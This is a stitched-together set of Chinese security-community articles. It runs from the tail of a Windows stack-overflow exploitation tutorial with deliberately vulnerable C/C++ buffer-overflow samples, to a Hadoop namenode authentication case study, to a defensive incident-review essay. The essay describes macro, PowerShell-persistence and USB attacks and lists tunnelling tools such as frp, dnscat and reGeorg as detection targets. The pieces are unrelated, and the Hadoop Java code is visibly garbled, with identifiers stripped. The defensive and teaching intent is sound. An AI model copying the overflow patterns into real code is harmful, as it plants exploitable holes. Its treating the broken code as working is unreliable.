char Buf[16];
uint32_t dwVar1;
uint32_t *pdwVar2;
};
void OverflowStruct(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
struct MyStruct TestStruct = { 0 };
TestStruct.dwVar1 = 1;
TestStruct.pdwVar2 = &gdwGlobalVar;
memcpy(TestStruct.Buf, pInputBuf, dwInputBufSize);
*TestStruct.pdwVar2 = TestStruct.dwVar1;
}
图41 通过结构体实现任意写入的堆栈溢出
上面用于结构体的概念同样也适用于C++类，前提是它们被声明为局部变量并在堆栈上分配内存空间。
class MyClass {
public:
char Buf[16];
uint32_t dwVar1;
uint32_t* pdwVar2;
};
void OverflowClass(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
MyClass TestClass;
TestClass.dwVar1 = 1;
TestClass.pdwVar2 = &gdwGlobalVar;
memcpy(TestClass.Buf, pInputBuf, dwInputBufSize);
*TestClass.pdwVar2 = TestClass.dwVar1;
}
图42 通过类实现任意写入的堆栈溢出
当涉及到类时，一个额外的攻击手法是破坏其vtable指针。这些vtable包含指向可执行代码的其他指针，这些可执行代码可以在RET指令之前通过被破坏的类的方法进行调用，从而提供了一种通过破坏局部变量来劫持EIP的新方法，而无需使用任意写入原语。
最后一个容易被局部变量破坏的代码模式的例子是使用运行时堆栈分配函数，如_alloca。由于这类函数的内存分配过程，是在函数的栈帧已经建立后，通过减去ESP来实现的，因此，这类函数分配的内存将始终处于较低的栈内存中，所以无法重新排序或免受此类攻击的威胁。
void OverflowAlloca(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
uint32_t dwValue = 1;
uint32_t* pgdwGlobalVar = &gdwGlobalVar;
char* Buf = (char*)_alloca(16);
memcpy(Buf, pInputBuf, dwInputBufSize);
*pgdwGlobalVar = dwValue;
}
图43 易受_alloca局部变量破坏问题影响的函数
请注意，尽管上面的函数中没有数组，但MSVC足够聪明，它知道只要使用了_alloca函数就有必要在生成的函数代码中放入堆栈Cookie。
这里讨论的技术代表了一种现代Windows的堆栈溢出的攻击面，到目前为止，还没有明确的安全缓解措施。然而，它们的可靠利用依赖于这里讨论的特定代码模式以及（在任意写入的情况下）一个链式内存泄漏原语。
## 小结
对于堆栈溢出漏洞，虽然现代的操作系统已经提供了许多防御机制，但在今天的Windows应用程序中仍然存在并且可被利用。如果存在非Safeseh模块，那么利用这种溢出漏洞就比较容易，因为还没有哪种默认的安全缓解机制强大到可以防止局部变量破坏而导致的任意写入攻击。就目前来说，防御这类攻击的最强机制是ASLR，为了绕过这种机制，攻击者需要借助于非ASLR模块或内存泄漏漏洞。正如我们在这篇文章中所展示的那样，非Safeseh模块和非ASLR模块在如今的Windows
10系统以及许多第三方应用程序中仍不乏足迹。
与过去相比，尽管堆栈溢出漏洞的利用技术变得愈加复杂，但与堆中的其他内存破坏类型的漏洞相比，堆栈溢出是最容易理解的一个。在本系列的未来文章中，我们将继续深入探讨现代的Windows堆破坏漏洞，并希望对大家的学习有所帮助。 | 社区文章 |
# 【技术分享】同程旅游Hadoop安全实践
##### 译文声明
本文是翻译文章，文章来源：同程安全应急响应中心
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01 背景**
当前大一点的公司都采用了共享Hadoop集群的模式[[1]](http://dongxicheng.org/mapreduce/hadoop-security/)。
共享Hadoop是指：数据存储方面，公有/私有的文件目录混合存放在hdfs上，不同的用户根据需求访问不同的数据;
计算资源方面，管理员按部门或业务划分若干个队列，每个队列分配一定量的资源，每个用户/组只能使用某个队列中得资源。这种模式可以减小维护成本，避免数据过度冗余，减少硬件成本。但这种类似于云存储/云计算的方式，面临的一个最大问题就是安全。在同程，信息安全是渗透到每个部门的，数据安全又是重中之重。本文就Hadoop安全分享了同程旅游大数据架构部在这方面的实践。
然而，Hadoop是缺乏安全机制的。其中最关键的一个问题是，Client的用户名和用户组名的随意性。Hadoop默认从环境变量中取HADOOP_USER_NAME作为当前用户名，如果为空则从系统参数里取HADOOP_USER_NAME，如果还为空则获取当前系统用户名，添加到user.name和group.name属性中。用户甚至可以通过conf.set(“user.name”,root),conf.set(“group.name”,”root”)直接指定用户名和用户组为root。这样提交到集群的请求就可以以root的身份读写本不属于自己的文件目录，使用本属于别人的计算资源。
Hadoop团队也意识到了数据安全方面的缺失，并增加了权限认证授权机制。用户的login name会通过RPC头部传递给RPC，之后RPC使用Simple
Authentication and Security
Layer（SASL）确定一个权限协议（一般使用kerberos协议），完成RPC授权[[2]](https://issues.apache.org/jira/browse/HADOOP-6419/)。然而，在hadoop集群中启用kerberos认证有以下一些问题：
1\. Kerberos生成证书和配置步骤十分复杂，debug排错也晦涩，没有一定经验很难上手; 2.
延展性不佳。机器的扩容和减少都要造成证书的重新生成和分发，给运维造成很大困难； 3.
存在单点失败，中心KDC中心服务器承载所有用户的密钥，挂掉时整个系统可能瘫痪。同时要求严格的时钟同步，不然会导致认证失败。
基于以上的原因，以及同程自身Hadoop集群的特性(总承载接近数十P的数据量，日增数十T
，上层依赖上百个平台/服务，数万+的数据搬运/运算任务)，给Hadoop增加安全机制无疑是给高速运行的汽车换轮子，要求系统做到服务零中断，滚动升级无停机。我们自主研发了一个轻量级的Hadoop用户认证机制。
**0x02 基本构想**
身份验证最常见的方法就是用户名和密码校验，符合我们简单易用的要求。首先，我们要让用户在与Hadoop交互之前读取到一个配置好的，和用户自身相关联的密码，将此密码保存并携带在每次与Hadoop交互的请求中以供验证。另外，我们知道用户在对Hadoop做任何操作之前都会和namenode交互，拿到相关的block的信息，文件读写的租约等等。那很自然的想到可以在namenode
这层做用户身份验证操作。而用户名和密码的映射表可以通过配置和远程RPC 的形式实现热加载。
**0x03 具体实施**
**用户加载密码**
用户信息在Hadoop里是以UserGroupInformation这个类实现的。如果subject为空，或者对应的principal为空，说明尚未登录过，就会调用getLoginUser()方法。首先会创建LoginContext，并调用login()方法，完成后调用login.commit()。我们在commit()方法中加入读取密码配置的操作，并存储在subject的credential中。密码可以配置在用户的home目录下，或者classpath下。由于login方法只会在用户第一次启动的时候调用，所以避免了重复加载的问题。
**Namenode加载用户名和密码的映射表**
我们新增加了一个让namenode 读取集群用户名和密码的映射表的RPC服务。目前Hadoop大部分的 RPC 调用已经采用google的protobuf
协议，替代了1.0时代自己的一套writable的协议。
我们根据protobuf的规范，定义一个叫做RefreshCheckUserPaswordProtocol.proto的协议文件，在文件里我们分别定义RPC调用的请求和应答消息
message RefreshCheckUserPasswordRequestProto{}
messageRefreshCheckUserPasswordResponseProto {}
内容为空，因为不需要传入参数再定义调用的服务
service RefreshCheckUserPasswordProtocolService {
rpcrefreshCheckUserPassword()
returns(RefreshCheckUserPasswordResponseProto);
}
通过protobuf命令行工具生成对应的request,response,以及service 的java类
因为新增的协议是在namenode上执行的，所以要注册在namenodeProtocols里
extendsClientProtocol,
DatanodeProtocol,
NamenodeProtocol,
RefreshAuthorizationPolicyProtocol,
RefreshUserMappingsProtocol,
RefreshCallQueueProtocol,
GenericRefreshProtocol,
GetUserMappingsProtocol,
HAServiceProtocol,
RefreshCheckUserPasswordProtocol{}
并且在namenodeProtocols的实现类NameNodeRpcServer里增加具体函数调用
RefreshCheckUserPasswordProtocolServerSideTranslatorPB refreshCheckUserPasswordXlator ();
BlockingService RefreshCheckUserPasswordProtocolService
.newReflectiveBlockingService(refreshCheckUserPasswordXlator);
在dfsadmin的shell命令行中增加了调用此服务的入口
(.(cmd)){
exitCoderefreshCheckUserPassword();
}
() throwsIOException {
Configuration getConf();
.set(CommonConfigurationKeys.HADOOP_SECURITY_SERVICE_USER_NAME_KEY,
.get(DFSConfigKeys.DFS_NAMENODE_KERBEROS_PRINCIPAL_KEY, ));
DistributedFileSystem getDFS();
URI .getUri();
HAUtil.isLogicalUri(, );
() {
.getHost();
ListProxyAndInfoRefreshCheckUserPasswordProtocolHAUtil.getProxiesForAllNameNodesInNameservice(, ,
RefreshCheckUserPasswordProtocol.);
(ProxyAndInfoRefreshCheckUserPasswordProtocol) {
{
.getProxy().refreshCheckUserPassword();
..println(.getAddress());
}(e){
..println(.getAddress());
..println(e.getMessage());
}
}
} {
RefreshCheckUserPasswordProtocolrefreshProtocol NameNodeProxies.createProxy(,FileSystem.getDefaultUri(),
RefreshCheckUserPasswordProtocol.).getProxy();
refreshProtocol.refreshCheckUserPassword();
..println();
}
;
}
最后，我们在namenode启动(初始化完成)时自动加载一次用户名和密码的映射表。
具体位置在NameNode类的void initialize(Configuration conf) throws IOException方法的最后
**Namenode 对client做身份验证**
Namenode
接收到用户请求的时候都调用getRemoteUser()方法将用户的信息组装成UserGroupInformation实例。这时候我们就很自然的把请求发起者的用户名，密码以及源IP提取出来，做用户身份验证。用户验证的逻辑很简单，将用户名，密码，IP在启动时加载的映射表中查找对比，符合条件的予以通过，不然就拦截请求并抛出错误。
**0x04 上线的一些工作**
为了做到新增的用户安全功能平滑上线，我们做了下面几个额外的功能
**用户验证的全局开关**
防止新功能的可能出现的bug, 一键开关可以迅速关闭新功能，做到快速回滚。
**用户白名单**
用户群的数量很多，同一时间切换上线是不可能的。我们将用户放入白名单中，分批配置/测试分配的账号和密码，一步一个脚印的实现所有账号的安全监管
**0x05 上线过程**
1\. 重新编译打包hadoop-common和hadoop-hdfs 工程
2\. 替换namenode 和datanode 上的相应jar包，并滚动重启。因为默认是关闭安全功能的，所以新版本的jar包和旧版本的jar是相互兼容的。
3\. 在各节点，各项目中配置和用户名和密码，通过命令将用户名和密码的映射表加载至namenode
4\. 一键开启安全配置
目前，Hadoop安全已成功上线，升级过程中没有服务中断或降级，做到业务零感知。运行几个月下来也很平稳，性能良好。
**Reference**
[1] 董的博客 <http://dongxicheng.org/mapreduce/hadoop-security/>
[2] Hadoop jira – 6419
[https://issues.apache.org/jira/browse/HADOOP-6419/](https://issues.apache.org/jira/browse/HADOOP-6419/)
搜索“同程安全”关注YSRC公众号，招各种安全岗，欢迎推荐。 | 社区文章 |
# 从“复盘”到“复仇”，谈如何正确的复盘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
安全运营有一个很重要的环节：闭环。如何从“复盘”到“复仇”，实现问题闭环？复盘一般意味着防守方被找到了安全问题，“复仇”是指同类问题不会再犯。我们鼓励通过复盘分析，确定事件的根本原因，找到最终解决方案，并落地执行，防止此类事件再次发生，实现完美“复仇”。本篇聊聊如何正确的复盘，抛砖引玉。
企业日常安全运营工作中，每天会处置各类安全告警。红蓝对抗也已被广泛应用于检验防守方安全水位。告警处置和红蓝对抗之后，收尾工作是复盘。通过复盘，仔细检视我们安全工作短板，提出改进加强点。
## 一、三个实战场景复盘案例
### 1.1 案例1：社工控制销售岗员工终端电脑
在这个案例里，攻击者在我们官网上收集了我们的销售渠道，伪装自己是一个大学教授，想来采购我们公司的安全系统。攻击者为了社工攻击，准备了网络拓扑图，预算表格等一系列文件，来取得我们销售的信任。同时通过拟采购标的金额较大，时间紧来给销售心理压力。前期准备做完后，攻击者给销售发了一个Word标书和一个Excel技术参数文件。Excel文件中包含了一个宏，显示的是“由于参数信息敏感，请启用宏并输入随邮件的密码进行查看”。但实际上这个宏还包含了一段vba代码，这段代码就是vba版本的CobaltStrike。
事后我们对这个一次复盘，这个攻击链中使用了两个技术点：
* 通过微信投递样本来绕开网络上的监控
* 使用office宏进行样本投递，传统但是有效
问题1我们提出解决方案：通过流量解密还原出文件来跑沙箱，但是如何能解密还原微信的文件传输数据？问题2解决起来似乎很简单，现在有成熟的组策略，来阻断域内机器的office加载宏。
但这样就足够了吗？
攻击者这次使用excel宏来投递样本，下次使用其他的投递手段，我们怎么防御？同时思考怎么防御未知的样本投递方式？
根据这个问题，我们提出两个专项，从查特征的思路转换为查行为：
* 第一是通过落地沙箱机制，在终端上创建的新文件，自动跑沙箱，来监测样本在运行状态中是否有异常行为，对异常样本直接进行阻断或者查杀
* 为了防止沙箱失效，或者样本有对抗沙箱机制，我们在终端上部署了第二道防线：通过EDR来收集主机的进程链调用顺序，对其中的异常调用进行告警。攻击者无论投递什么类型的样本，最终的目的还是要控制终端。那么我们的思路就是办公软件创建了系统命令相关的进程，就是个异常的进程链，就要进行告警和响应
### 1.2 案例2：钓鱼邮件执行Powershell无文件落地样本
攻击者通过伪造一个终端安全软件的升级通知，给公司某个员工发送了一封邮件，邮件附件为一个精心构造的样本。当受害者打开这个样本的时候，安装包可以正常运行，也可以正常的对软件进行升级，但是攻击者在安装过程中多修改了一个注册表项。
Windows系统在每次启动的时候，都会读取这个注册表项的内容，并尝试执行里边的指令。攻击者在这条注册表项中，写了一段Powershell指令，这段powershell指令会去攻击者的公有云VPC上，下载一个远控脚本并执行。
事后我们对这个一次复盘，我们关注两个点：
* 邮件安全防护，这块可以采用市面上比较成熟的邮件沙箱解决方案
* 另一个是对这种通过修改注册表项，来做持久化的攻击手段。依托一些主动防御和EDR功能，对这种注册表修改进行告警或者阻断
但这样足够了吗？
下次攻击者伪造邮件时，我们能不能提前发现？攻击者使用别的手段进行持久化，我们能不能实时检测？
我们思考邮件安全防护时，要做一个完整的防御方案，不能单单依赖邮件沙箱。邮件网关中一些传统的恶意邮件防御方式，可以帮我们解决一些日常的垃圾邮件和钓鱼邮件。而针对实战化的鱼叉邮件，我们更是要做专项检测，包括检测绕SPF的常见手段，尝试伪造运维邮箱的特征，发件邮箱和正常邮箱高度相似。
而对于持久化，我们启动了一个专项来进行研究，发现Windows上持久化远远不止修改注册表这一种，还包括修改Windows启动目录，注册自定义服务，修改默认Office模板和默认Outlook主修，修改本地组策略，注册异常COM项。针对这些持久化行为，我们首先进行了技术调研和攻击模拟，然后再深度定制了EDR，记录的攻击过程中的种种痕迹，最后在SOC上形成了告警规则。
### 1.3 案例3：物理社工进入办公区，插U盘控制办公终端
第三个场景是我们红蓝对抗中真实遇到的一个场景。攻击者前期在公司周围踩点，发现由于防火通道不能关闭，普通人可以通过公用地下车库走楼梯间进入办公区。而周末加班时楼梯间到办公区的门禁有时会被长时间打开。
其实攻击者尝试了两种物理社工方式，除了上述方式外，还伪装公司员工买了一箱零食，借口没法拿门禁卡刷门禁，请保安代为开门禁，从而进入办公区。
攻击者进入办公区后，使用自带的破解U盘，绕开了一台办公机的开机密码，并将U盘中的样本文件拷贝到了受害终端上。
样本由两个文件组成，是白加黑的套路。白文件是一个普通loader，作用就是读取文件后，解码运行。黑文件类型为文本文件，为恶意dll编译后，又将内容进行了加密和编码。具体运行就是白文件加载文本文件后运行。
现在我们复盘这个案例。对于U盘投递，我们可以制定更严格的USB管控措施，禁止终端使用U盘或者终端只能使用注册过的U盘。但对于这种白加黑的检测，我们往往只能依靠安全厂商的方案，对内存态中的行为进行分析和审计。
但仔细想一想，是不是可以让一线同事们都参与到我们的纵深防御体系中来呢？能不能检测出更多的类似于插入未知U盘的异常行为呢？能不能让运营成本更低呢？
为此，我们建立了异常行为一键推送反馈体系。同事们在自己的账号/办公机出现异常行为的时候，可以第一时间在内部IM上收到网络安全部自动推送的通知，比如你的终端插入了新的U盘，你的VPN在异地登陆，你的账号在内网搜索了敏感信息。假如用户确认不是本人操作，或者感觉有异常，他只需要点击IM通知中的链接，网络安全部运营中心就会收到一条事件工单，由一线运营人员去进一步跟进处理。
邮箱异常登录行为告警
VPN异常登录行为告警
而针对这种白加黑，异常注入，内存篡改等检测和防御的老大难问题，可以检测代码块异常执行序列。每个程序在执行的时候，他的函数调用顺序，代码运行顺序都是在固定的n条序列里的。这个是计算机代码程序的基本原理。而我们通过对底层系统API的进一步hook，抽象出了代码块执行顺序，在每台终端上进行2-4个月的无监督学习，归纳总结出正常执行顺序。这样当任何攻击，甚至0day攻击发生的时候，由于攻击代码顺序不在任何正常序列中，且偏离值很大，就能自动识别出异常行为或攻击进行阻断。
## 二、如何进行正确的复盘？
### 2.1 正确复盘的第一步，提好的问题：
我们在重新梳理和回顾
1、我们怎么防御投递路径？
* 邮件监测，我们怎么保证邮件100%过沙箱？
* U盘管控，我们怎么保证防护策略100%生效？
* 我们怎么保证没有未知的终端资产？
* 事中监控效果如何？
* 对终端提权监控/防御能力如何？
2、对凭证提取监控/防御能力如何？
3、对持久化行为监控/防御能力如何？
* 能不能发现攻击者的下一步行为？
* 横向移动？
* 反向隧道外连？
* 内部信息搜集爬取？翻看敏感信息？
4、安全运营？
* 是否有数字化指标来实时显示覆盖率？正常率？怎么维持高覆盖率？
* 一线运营人员处理告警的SOP？SLA？
* 快速溯源
* 怎么复盘告警能发现安全隐患？
* 安全隐患如何解决？
5、更多？
* 新攻击手法的发现跟踪？（C# Assembly）c sharp assembly
* 新安全技术的调研使用？（零信任 SOAR）
### 2.2 正确复盘的第二步，从人员、技术、流程、资源四个维度深入分析。
**2.2.1 人员**
分享一个安全意识的故事。当我还在金融机构的时候，信息技术部门使用项目外包开发的情况很多，由于外包带来的安全问题也屡见不鲜。当我详细了解项目外包厂商的工作模式后，我隐约感觉到：外包厂商的代码管理是个大坑。外包厂商的项目管理模式一般是：
1、由于甲方一般会提出一些个性化需求，所以外包厂商一般会安排少量开发人员到客户现场驻场开发。
2、驻场开发人员的代码，一般需要遵循厂商统一的代码管理要求，即需要将在客户现场写的代码上传到厂商的内网代码管理平台（Git、SVN等）。
3、如何让在客户现场的开发人员访问厂商内网代码管理平台？做的好点的是给驻场人员开通厂商的VPN，通过VPN连回内网，上传代码。做的一般的就是直接将内网代码管理平台发布在互联网上，也不会限定访问来源。
4、那厂商的内网代码管理平台的安全性就依赖于一层薄薄的静态密码了。而这个账户和密码，很有可能就在该项目组建好的QQ群共享文档中……
有了源码，可以做的事情很多。简单直接的就是code
reveiw，发现应用层0day，然后getshell，而且是行业通用，意味着一个应用0day，可以击穿行业很多家企业的业务系统。
实际的故事比这精彩很多，危害也大很多，而且这个外包厂商是个很大很大，集中度很高的行业厂商。
在这个故事里，你会发现，安全人员对风险的感知能力很重要，就是当你在了解业务、流程、合作伙伴等等信息之后，你能不能很快的意识到这里面存不存在安全风险，风险有多大，大概在哪里，等等。而这个就是我理解的安全人员的安全意识。
> 安全人员的安全意识，是指对安全风险的感知能力。——君哥
在复盘时，可以从人员的安全意识、安全职责、安全技能进行分析：
1. 人员安全意识是否足够？分三个层面：公司全体员工、信息技术部门员工、安全团队。公司全体员工的安全意识，需要通过实战化的安全意识攻击测试来提高。信息技术部门员工安全意识，需要结合开发、运维的不同特点来针对性设计提高方案。安全团队的安全意识，主要看是否具备对安全风险的感知能力。
2. 是否清楚的知道自己的安全职责。研发认可自己需要在12个小时内确认并修复高危漏洞并发版吗？运维认可自己需要在Windows月度补丁推出后一天内批准补丁，并在3天内完成高危漏洞在生产服务器上的修复吗？公司全体员工认可自己感知到网络安全异常后应该反馈异常给信息技术部门吗？安全团队大部分时候一厢情愿的认为其他团队的安全职责划分，但实际安全事件发生后才发现分歧，并花了大量时间在管控分歧。
3. 人员安全技能是否足够？研发人员是否具备修复漏洞的知识和技能，运维人员是否具备实施基础架构安全的技能，安全人员是否具备足够的处理告警的安全技能等等。安全事件的背后深层次原因，可能是人员的技能不足，导致无法胜任其所承担的安全职责。
**2.2.2 技术**
技术维度复盘，讲究点、线、面、体。
点：在终端上的攻防对抗领域，单个技术点包括：常见权限维持工具CobaltStrike检测、无文件攻击、终端插U盘等物理攻击方式，提出单点技术防护和检测方案。
线：同一类问题构成了技术线。除了CobaltStrike，我们还应该具备针对同类型的渗透测试和权限维持框架（如Nishang、Empire）进行防护和检测。除了常见渗透测试框架的防护和检测这一条线以外，还有端口转发和隧道穿越工具的防护和检测，如：proxychain,frp,lcx,ngrok,regrok,ew、FPipe,Portmap,Termite,socat,natbypass,iox,abptts,Powercat,dnscat,reGeorg,tuna,reDuh,iodine,EarthWorm,sSocks,venom。以及类似的很多技术线…
面：技术点和线构成了技术面，这个技术面就是：终端安全的攻防对抗。其他技术面还有：终端安全之基础架构安全（身份认证、可信）、终端安全之数据安全等。
体：技术面构成了体。除了上述技术面之外，终端安全这个体还包括去AD化、网络安全域划分和隔离、零信任体系等等。比如复盘时考虑网络二层隔离，所有终端和终端都无法在二层通信，只能访问公共应用（OA、Mail、CRM、Git…）。复盘时还可以考虑，AD的攻击面太大，如果不进行专业加固的话，3秒就被控，可以考虑启动去AD化进程。
技术维度复盘，除了点线面体，还可以考虑是否引进新技术，从底层进行改造，从根源上解决问题，比如Google
BeyondCorp、BeyondPod的引入和实践。
**2.2.3 机制**
复盘第三维度，是机制，机制是否缺失，以及机制执行是否有效。
在做终端安全日常运营时，我们特别重视安装率和正常率两个指标，当我们通过准入手段确保安装率和正常率快速提升到一个较高水位后发现，无论怎么努力，指标提升都停滞不前了，仔细分析原因，发现是员工的入离职流程有问题。新入职的同事，有一些使用的是自己的BYOD设备，完全没有进行任何终端安全软件相关的工作，有一些领取的公司配发的电脑，往往也没有实名，终端安全软件停留在上古时期的版本，安全基线也不合规。那么一个非常尴尬的情况是，每周二的入职日，变成了终端安全项目组的噩梦，可能前一周，好不容易我们解决了100台有问题的终端，入职日一来，前一周基本就白干了。发现问题后，我们重新梳理和改进了员工入离职流程，将终端安全的要求内嵌入入离职流程，这个问题就解决了。
所以复盘的时候，我们要追问一下：这个事件的发生，是不是机制有缺失？机制有的话，是不是执行落地没有保障？以及
> 灵魂发问：如果有人不遵守这个流程，我们安全团队能发现吗？聂君
（这个问题一般复盘的员工，没想到，或者不愿意去想和解决）
在机制复盘这个维度，我特别喜欢一个流程：安全运营持续改进流程。这个流程是对安全事件的闭环管理，每笔安全事件的处理结果最终必须为误报、属实，二选一。如果是误报，必须改进SIEM安全检测规则或安全Sensor监测措施。如果属实，根据已经被突破的层进行针对性的改进。安全运营持续改进要求每天、每周、每月都坚持进行安全事件review，有可能重要事件被一时大意的一线人员放过，也可能是其他原因。
> 安全运营持续改进流程的质量可能决定了整个企业的安全工作质量。君哥
**2.2.4 资源**
复盘的最后一个维度：资源。
1、改变理念：安全团队是因为工作干得好，才能获取资源；而不是拿到了资源才能干得好。
2、上层文化：抓住公司的文化、组织、变革的变化，及时嵌入安全，让安全从中获益。当公司有巨大变化、活动时，一定要想到加入安全的元素、成分。
3、获取资源策略：作为安全团队的负责人一定要主动去想办法争取更多的资源，常见的有将安全工作显性化，通过红蓝对抗中打胜仗、重大安全事件复盘、对标同等或更好的企业投入，以获取更多的资源。
4、主动创造资源：从管理学的角度来讲就是胡萝卜管理哲学，公司给到员工的报酬肯定是有限的，除了金钱外，可以主动创造一些荣誉，在内部进行奖励和激励，特别是很支持安全工作的部门和个人。
### 2.3 正确复盘第三步：复盘方法论
**2.3.1 复盘目的：**
* 同样问题不再重复
* 同类问题尽量避免
* 不要在低级错误上失败
* 从“复盘”到“复仇”
解释最后一点：从“复盘”到“复仇”。复盘一般意味着防守方被找到了安全问题，“复仇”是指同类问题不会再犯。我们鼓励通过复盘分析，确定事件的根本原因，找到最终解决方案，并落地执行，防止此类事件再次发生，实现完美“复仇”。
**2.3.2 复盘本质：跳出事件本身，对问题进行有效管理-问题管理。**
> 我们经常提到：安全要像可用性一样运维。君哥
数据中心运维的事实标准是ISO20000（ITIL），ISO20000有十几个流程，有一个关键流程是问题管理，就是通过问题管理流程，分析事件的根本原因，找到最终解决方案，并落地执行，防止此类事件再次发生。我们可以学习下问题管理的相关内容：
1、在问题管理流程中，如果我们定义一个问题，需要定义如下属性：问题来源、影响范围、影响度、优先级、问题状态、问题结束代码、原因分类、问题分类…
比较重要的事问题来源、问题分类，一般分Top2和非Top2问题，Top2问题属于部门级督办的重点问题，需要优先解决。
2、关键角色和职责。包括：问题经理、问题管理员、问题负责人、问题管理委员会、问题支持小组。
比较重要的角色是问题经理、问题负责人。笔者曾经担任招商银行总行数据中心问题管理员5年，分析过的运维事件超过千件，相比安全事件，运维事件的发生原因千奇百怪，而且都是击穿了一系列的防护和监控措施，最后导致可用性事件的。到后期，硬件故障和软件bug导致的可用性事件比例已经很低了，人因误操作导致的可用性事件占比较大，为了更彻底的解决这个问题，更专业的避免人为因素导致的生产故障，我们向大亚湾核电站学习交流，学习了“核电厂人因管理”，并且和国内该领域研究走在前列的南华大学的人因研究所合作，跨界学习。
3、关键步骤
关闭问题是关键步骤，必须达到一定标准，问题才能关闭。2011年我们制定的问题关闭标准如下，按照这个标准，我们当时一个人全年关闭一个Top2问题都很困难，对关闭问题的要求实在太高了。而且一旦已关闭问题的事件再次发生，已关闭问题会重新打开，并且对问题负责人进行负向激励。问题关闭标准如下：
4、衡量指标
复习完运维领域的问题管理流程，我们安全领域也可以借鉴学习。比如：
复盘质量好坏，我们可以看几个衡量指标：
1. 问题解决率，指安全问题的解决比率，按照前述问题关闭标准，我们的问题解决率能够到什么水位？
2. 主动发现问题数量，指安全问题中，哪些是被动发现，哪些是主动发现，主动发现问题数量和比例是多少？
3. 重复问题数量，指安全问题中，哪些问题是重复发生？
有几个复盘注意事项：
1. 优先解决已知问题
2. 主动发现问题，主动解决问题
3. 先点到线再到面体
4. 提问式复盘，鼓励思考，多提好问题
**2.3.3 提问式复盘**
多问几个为什么，然后去追寻原因和答案，顺藤摸瓜就能彻底解决问题，实现正确复盘。
人员方面：
企业团队和员工清楚自己的安全职责吗？
各角色员工具备安全意识和承担安全职责所需的安全技能吗？（特别是安全团队没有安全意识和安全技能不足）
正向和负向安全激励对各团队和人员有效吗？
技术方面：
如何从技术层面，点状的防范这个问题？
有没有解决这一类问题的技术方案？
技术手段是否可以被绕过？
所有管理措施和流程是否有技术手段做落地保障？
如果这个问题无法防护或者说无法100%防护，有没有安全检测方案？
如果技术角度无法有效防护和检测，是否有管理措施代偿？
能不能从其他维度降维解决这个问题？
是不是我们解决这个为的技术方案不是最佳？有没有新技术方案解决这个问题？
机制方面：
安全事件发生，突破了我们哪些安全机制？突破的原因是什么？我们还缺乏哪些机制？
机制足够的话，落实执行是否有效？
安全管控是否被业务旁路掉？
如果有人不遵守这个流程，我们安全团队能发现吗？
安全运营持续改进流程运转情况？
资源方面：
安全团队是否资源足够？
安全资源的分配顺序是否合理？
除了人员编制和预算，安全政策的支持是否足够？
**2.3.4 按上述复盘思路，我们再看两个案例：**
**2.3.4.1 案例1：白帽子提交Web安全漏洞。**
安全团队收到漏洞后，进行漏洞复现确认，推动开发改代码，发版复测，上线，end。复盘开始：
问题是否已知？
1、已知问题的话，说明推修进度不足。推修进度不足可能隐含问题：
1. 研发运维和安全对漏洞认知有偏差
2. 研发漏洞推修有困难
3. 在漏洞未得到修复前，安全没有提供风险补偿措施
2、未知问题的话，说明发现能力缺失。
1. 不是0day漏洞的话，如果是框架类漏洞，说明安全资产发现能力缺失；非框架类漏洞，上线后自动化漏扫发现能力缺失。
2. 是0day漏洞的话，看企业是否考虑需要防护0day。
有没有防护住白帽子测试？
1、从已经被白帽子报漏洞的结果来看，已知安全防护措施没有防护住，分析网络侧WAF和主机侧RASP失效的原因。
2、有没有检测发现白帽子的测试行为？如果没有，流量侧NTA、主机侧HIDS，以及其他安全检测措施为什么被绕过？
**2.3.4.2 案例2：内部红蓝对抗结束后，安全团队复盘开始：**
* 单个漏洞点复盘，参照白帽子提交Web安全漏洞思路进行
* 整体复盘。归纳各个单点漏洞的原因，从以下方面总结需要改进提升的面：
1、人
1. 人员技能是否不足？人员技能不能胜任日志分析、告警响应、应急处置、溯源反制等工作
2. 人员责任心不足。
3. 人员意识不足。
4. 缺乏激励
2、技术
1. 防护和检测技术对攻击无效
2. 没有有效防护和检测技术的同时，缺乏代偿性措施
3. 没有尝试使用其他维度的安全新技术或新思路，进行安全防护和检测
3、机制（流程）
1. 机制缺失
2. 机制执行缺失，缺乏验证
4、资源
1. 缺政策
2. 缺支持
3. 缺绩效
4. 缺投入
关于复盘的分享，到这里就可以结束了。本次京东安全峰会的主题是【破壁·新生】，我增加了以下“安全建设新思路”的内容。
## 三、安全建设新思路
### 1、重塑基础架构安全
在AWS、Google为什么安全看起来做的很普通，但也没出什么事情？基础架构安全。
业界搞安全的很多都是攻防出身，不是做架构出身，而真正具有这些基础架构安全视野的工程师，又不会去做安全。整个安全界，其实很缺乏具有基础架构安全视野和能力的安全工程师。
大的银行有架构办，基本上成员都是20年以上的优秀程序猿，才能做架构师，大厂也有类似组织。研究基础安全问题。
基础安全问题包括：统一账户，如果账户和权限能够解决的好，能够给攻击队带来巨大的困难。应用鉴权、统一代码仓库等等。
lakehu提出：安全效果做到架构里去。业务提出需求时，安全就在里面。想法都类似，更高效、更彻底的解决安全问题。
只追随热点未清理自身：零信任架构，SDP等
只处理问题未深入根因：CredentialsHarvesting、账号密码泄露、FIDO等
只处理单点未考虑全局：秘钥管理、可信根身份、AAA、数据分级与处理等
只解决当下未思考未来：SOA、API化、Serverless、容器化等
### 2、重塑基础安全工作-SCMDB
安全资产管理已经讨论过很多次，这里不展开了。资产管理在信息安全中的地位正如 Toyota 的 Camry（很多人的第一辆车），它应该基础、扎实、好用。
### 3、重塑基础安全工作-安全域划分和隔离
从实战来看，网络层的访问控制被证明是最有效的（攻击者很难绕过去），不要相信应用层控制。网络层访问控制属于基础架构安全，这是最有效最重要的，整个安全防护的基础
访问控制策略原则：明细允许，默认拒绝，例外处理
从内网去互联网的访问控制
* 办公终端：除个别协议无法限制目的IP外，其余协议全部限制。特殊访问需求，快速开通。有条件的考虑：终端不能直接访问互联网，需要访问互联网的两种解决方案：另外分配一台上网终端、虚拟浏览器
* 办公服务器：特殊访问需求开通，默认拒绝
* 生产网：生产网终端禁止上互联网、服务器特殊访问需求开通，默认拒绝
从互联网访问内网的访问控制：对互联网提供服务的服务器必须在DMZ，和内网隔离u重要系统的访问控制策略
* 基础设施如AD、邮件系统的访问控制
* 别小看基础设施ACL访问控制，这是对抗应用和系统漏洞的最低成本和最有效措施。漏洞层出不穷，唯有ACL访问控制药效持久，强烈推荐
